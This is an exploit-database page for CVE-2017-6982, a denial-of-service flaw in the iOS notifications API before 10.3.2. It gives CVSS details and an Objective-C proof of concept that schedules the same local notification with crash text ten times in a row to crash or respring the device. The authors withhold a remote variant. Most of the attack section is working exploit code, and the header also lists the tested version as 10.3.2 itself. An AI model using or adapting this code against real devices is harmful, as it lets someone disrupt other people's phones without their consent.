Apple iOS < 10.3.2 - Notifications API Denial of Service

2017.05.18
Credit: Multiple
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service # Date: 05-15-2017 # Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton # Vendor Homepage: https://apple.com # Software Link: https://support.apple.com/en-us/HT207798 # Version: iOS 10.3.2 # Tested on: iOS 10.3.2 iPhone 6 # CVE : CVE-2017-6982 # We do not disclose a PoC for remote notifications. # PoC for local notifications. (Objective-C). defaults = [NSUserDefaults standardUserDefaults]; UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert; UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil]; [[UIApplication sharedApplication] registerUserNotificationSettings:mySettings]; //1 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; NSTimeInterval interval; interval = 5; //Time here in second to respring UILocalNotification* localNotification = [[UILocalNotification alloc] init]; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //2 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //3 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //4 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //5 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //6 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //7 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //8 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //9 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification]; //10 [defaults setBool:YES forKey:@"notificationIsActive"]; [defaults synchronize]; interval = 5; localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval]; localNotification.alertBody = _crashtext.text; localNotification.timeZone = [NSTimeZone defaultTimeZone]; localNotification.repeatInterval = NSCalendarUnitYear; localNotification.soundName = UILocalNotificationDefaultSoundName; [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top